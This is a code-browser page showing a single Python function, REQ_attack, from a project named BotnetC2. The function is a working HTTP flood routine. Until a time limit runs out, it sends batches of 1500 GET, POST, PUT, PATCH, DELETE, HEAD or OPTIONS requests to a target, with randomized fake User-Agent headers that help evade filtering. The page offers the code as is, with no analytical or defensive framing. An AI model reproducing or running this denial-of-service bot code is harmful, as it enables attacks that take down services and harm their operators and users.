MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / REQ_attack

Function REQ_attack

BOTNETc2/bot.py:506–543  ·  view source on GitHub ↗
(ip,method,secs)

Source from the content-addressed store, hash-verified

504 pass
505
506def REQ_attack(ip,method,secs):
507 while time.time() < secs:
508 random_list = random.choice(("FakeUser","User"))
509 headers = ""
510 if "FakeUser" in random_list:
511 headers = {'User-Agent': f'{rand_ua("FakeUser")}'}
512 else:
513 headers = {'User-Agent': f'{rand_ua("User")}'}
514 if "get" in method:
515 for _ in range(1500):
516 requests.get(ip,headers=headers)
517 elif "post" in method:
518 for _ in range(1500):
519 requests.post(ip,headers=headers)
520 elif "put" in method:
521 for _ in range(1500):
522 requests.put(ip,headers=headers)
523 elif "patch" in method:
524 for _ in range(1500):
525 requests.patch(ip,headers=headers)
526 elif "delete" in method:
527 for _ in range(1500):
528 requests.delete(ip,headers=headers)
529 elif "head" in method:
530 for _ in range(1500):
531 requests.head(ip,headers=headers)
532 elif "options" in method:
533 for _ in range(1500):
534 requests.options(ip,headers=headers)
535 elif "all" in method:
536 for _ in range(1500):
537 requests.get(ip,headers=headers)
538 requests.post(ip,headers=headers)
539 requests.put(ip,headers=headers)
540 requests.patch(ip,headers=headers)
541 requests.delete(ip,headers=headers)
542 requests.head(ip,headers=headers)
543 requests.options(ip,headers=headers)
544
545def generate_url_path(num):
546 msg = str(string.ascii_letters + string.digits + string.punctuation)

Callers

nothing calls this directly

Calls 1

rand_uaFunction · 0.70

Tested by

no test coverage detected